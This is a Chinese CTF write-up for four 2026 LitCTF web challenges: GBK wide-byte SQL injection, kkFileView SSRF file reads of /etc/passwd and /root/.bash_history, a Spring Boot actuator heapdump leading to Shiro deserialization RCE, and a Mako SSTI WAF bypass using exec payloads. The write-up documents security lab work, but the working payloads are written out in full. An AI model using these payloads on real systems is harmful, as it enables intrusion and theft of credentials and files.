2026 LitCTF
2026 LitCTF
lit_ezsql
sql注入的基本思路:
1、查找注入点
2、判断是字符型还是整型注入
3、如果是字符型,找到正确闭合方式 ' " ') ")
4、判断查询列数 group by,order by
5、查询回显位置 ?id=-1
1.注入点类型

点击查询后多了一个?id=的参数 确定注入点
接下来判断是整型还是字符型
?id=1
## 1 alice visitor none none
?id=2
## 2 bob visitor none none
?id=2-1
## 2 bob visitor none none
id=2和id=2-1的回显相同 没有直接进行运算 说明是字符型 考虑闭合
2.GBK宽字节注入

先丢到dousql里扫了一遍 以为是'单引号闭合
?id=1' or 1=1--+
?id=1' or 1=2--+
但是不管闭合之后是什么 回显都是id=1的内容 所以应该没有成功闭合
问问ai 字符型还有哪些闭合方法 给了一个宽字节注入的方法
因为PHP函数
addslashes()会在'、"、\前自动加反斜杠\转义 当成单纯的字符串输入 所以导致闭合失败由于服务器连接MYSQL使用GBK编码:
- 当传入
%bf%27(¿')时addslashes()函数会在'前添加反斜杠 变成¿\'url编码%bf%5c%27- GBK 编码中 %bf%5c 组合成一个汉字 縗
- 剩下的
%27被释放未转义 所以成功闭合
?id=1%bf%5c%27 or 1=1--+

回显了两行的内容 说明闭合成功
3.union联合注入(真不知道这小标题该写啥了)
先判断表格列数
?id=1%bf%5c%27 order by 5--+
有五位 再看回显位置
?id=1%bf%5c%27 union select 1,2,3,4,5--+
每一位都有回显 随便挑一个位置 公式化注入 详细看SQL注入(不定时更新) - aax小能 - 博客园
?id=1%bf%5c%27 union select 1,2,3,4,database()--+
?id=1%bf%5c%27 union select 1,2,3,4,table_name from Information_schema.tables where table_schema=database()--+
?id=1%bf%5c%27 union select 1,2,3,4,column_name from Information_schema.columns where table_schema=database()--+
?id=1%bf%5c%27 union select 1,2,3,4,flag from flag_store--+

法二:sqlmap
--tamper=unmagicquotes:核心脚本,专治magic_quotes_gpc=on/addslashes()场景python sqlmap.py -u http://challenge.cyclens.tech:30937/query?id=1 --tamper=unmagicquotes --batch
Northbridge Document Hub
1.源码泄露
查看源码发现配置文件/assets/js/portal.js

可以让ai辅助审计 这里被注释掉的researcher:Research#2026 就是登录的账号密码
fileGateway: {
path: "/kkfileview/getCorsFile", // 文件预览服务接口路径
queryKey: "urlPath", // 传递文件路径的参数名
node: "legacy-parse-02" // 网关节点标识
}
这里泄露了文件网关路径:/kkfileview/getCorsFile?urlPath=
2.SSRF
这里插一个点:
直接调用ssrf读文件的话会返回400 其中可以看到是tomcat服务器
开发者编写的web应用代码通常会存放在war包里 在tomcat服务器里 war包的存放位置是
/usr/local/tomcat/webapps/*.warai先猜测war包的文件名是
ROOT.war再通过ssrf读取/usr/local/tomcat/webapps/ROOT.war但是直接读取还是400 要进行base64编码/kkfileview/getCorsFile?urlPath=L3Vzci9sb2NhbC90b21jYXQvd2ViYXBwcy9ST09ULndhcg==解压后反编译关键类
KkParserServlet.java:public Path resolve(String encodedSource) { // 1. Base64 解码 String decoded = new String(Base64.getDecoder().decode(encodedSource), UTF_8); // 2. 替换反斜杠 String replaced = decoded.replace("\\", "/"); // 3. 去掉查询字符串 int queryIdx = replaced.indexOf('?'); if (queryIdx >= 0) replaced = replaced.substring(0, queryIdx); // 4. 去掉 file:// 前缀 if (replaced.startsWith("file://")) { replaced = replaced.substring("file://".length()); } // 5. 标准化路径 Path normalized = Paths.get(replaced).normalize(); // 6. 如果路径包含缓存目录前缀则保留,否则解析到缓存目录 if (!normalized.toString().contains("/opt/kkfileview/cache/")) { normalized = Paths.get("/opt/kkfileview/cache/parsed").resolve(normalized).normalize(); } return normalized; }关键漏洞: 如果 path 是绝对路径(以 / 开头), Paths.get(cacheRoot).resolve(path) 在 Java中会直接返回绝对路径本身,从而实现任意文件读取。(咱也看不懂啊 反正他说是就是吧)
如果在不知道源码 黑盒的情况下:
先读取/etc/passwd看看是否存在ssrf
file:///etc/passwd
但是直接读返回400 再试试其他编码进行绕过 用base64编码后可以直接下载文件
?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk
但是passwd好像没有什么有用的东西 flag也不在根目录 不能直接读取
3.获取Bash记录
.bash_history是 Linux/Unix 系统中 Bash Shell 的历史命令记录文件,它会自动保存用户终端执行过的命令。在渗透测试和 CTF 中,它是信息收集阶段的高价值目标。默认路径:
/root/.bash_history(root 用户)或/home/用户名/.bash_history(普通用户)
file:///root/.bash_history
获取bash记录 查看历史命令
cd /opt/kkfileview/bin
./startup.sh --cache.dir=/opt/kkfileview/cache/parsed
java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip
最后一条命令将一个zip压缩包复制到了/tmp
读取zip文件
file:///opt/kkfileview/cache/parsed/q1_finance_report_2026.zip
解压后得到flag
华辰企业服务运营平台
法一
算是非预期解了
打开靶机点击进入系统 说明了用户名为user 爆破密码为user123
进入后可以先看到审计中心有后面半段flag

然后插件中出现了/api/*的路径

spring boot的特征:
类别 典型路径 特征说明 识别方法 默认错误处理 /error访问不存在的路径时,默认由 BasicErrorController接管。返回 HTML 含Whitelabel Error Page,或 JSON 固定结构{"timestamp":"...","status":404,"error":"Not Found","path":"/xxx"}curl http://target/nonexistent_path_123Actuator 管理端点 /actuator/*(2.x)/health、/env(1.x)运维监控端点。2.x 默认仅开放 /actuator/health、/actuator/info,但 CTF 或配置不当会暴露/actuator/env、/actuator/beans、/actuator/mappings等curl http://target/actuator→ 返回端点列表 JSON静态资源映射 /favicon.ico/webjars/**/static/**默认从 classpath:/static/、/public/、/resources/、/META-INF/resources/加载。/webjars/用于前端库依赖管理curl -I http://target/favicon.ico→ 200 且非自定义图标API 约定路径 /api/**、/v1/**、/v2/**无强制规范,但 Spring 生态习惯使用 RESTful 风格。若集成 Swagger/SpringDoc,会暴露 /swagger-ui.html、/v3/api-docs、/doc.html访问 /v3/api-docs或搜索前端 JS 中的/api/前缀默认上下文路径 /(根路径)未配置 server.servlet.context-path时,所有路径直接挂载在根。若配置了如app,则所有路径变为/app/actuator、/app/error等观察登录页或静态资源是否带统一前缀 “先看
/error找 Whitelabel,再探/actuator看端点,/favicon试静态,/v3/api-docs查文档。路径带/api是业务,末尾无后缀是默认。”
在/error中有Whitelabel 确定是spring boot框架

用springboot-scan扫描
>> SpringBoot-Scan.exe -u http://challenge.cyclens.tech:32248/

其中配置文件env可以直接访问 打开http://challenge.cyclens.tech:32248/actuator/env搜索得到flag
法二
官方题解(哇这么做的话有点难诶)
上面/actuator还暴露了/actuator/heapdump端口
/heapdump是 Spring Boot Actuator 提供的一个运维诊断端点,用于实时导出当前 JVM 进程的堆内存快照(默认返回.hprof格式的二进制文件)。
访问/actuator/heapdump下载文件 用heapdump_tools解析

得到shiro的密钥 用shiro反序列化工具

存在漏洞 然后rce
>> ls
app.jar
-----------------------------------------------------------------------
>> ls ../
app
java
-----------------------------------------------------------------------
>> ls ../../
bin
boot
__cacert_entrypoint.sh
dev
etc
flag_part1.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

得到第一部分flag
然后回到登录系统 爆破出密码user123
登录后 用插件看到接口/api/admin/audit/list 打开得到第二部分flag
lit_ezssti
不是说工具一把梭吗(???)
ssti先测试jinjia2模板{{}}和{%%} 都会直接回显没进行运算
接着测试mako模板 ${7*7}回显WAF <% 7*7 %>没有回显 说明被执行
${}:输出变量
<% %>:执行python代码
探测waf:
输入: <% print(7*7) %> → 回显: (空) # 代码执行,但print输出不捕获
输入: <% from os import system %> → 回显: (空) # 导包成功
输入: <% x = 1 %> → 回显: WAF # = 被封锁
输入: <% os.system("id") %> → 回显: WAF # . 被封锁
输入: <% "flag" %> → 回显: WAF # flag 被封锁
输入: <% [] %> → 回显: WAF # [] 被封锁
通过抛出异常泄露运行环境变量:
<% exec('raise Exception(str(dir()))') %>

| 变量 | 作用 |
|---|---|
__M_writer |
Mako 内部输出函数,必须用它才可以看到回显 |
context |
Mako 运行时上下文对象 |
exec |
Python 内置执行函数,执行括号中的代码 |
尝试读取环境变量:
<% exec("from os import environ; __M_writer(str(environ))") %>
成功回显 然后调用listdir读取目录文件
<% exec("from os import listdir; __M_writer(str(listdir('/')))") %>

在根目录下存在flag文件 但是flag关键字被waf拦截 用iscc区域赛的思路 chr动态拼接出/flag
<% exec("__M_writer(getattr(open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)), 'read')())") %>
getattr(obj,name):替代obj.name避免出现点号eg.
getattr(f,'read)()=f.read()




浙公网安备 33010602011771号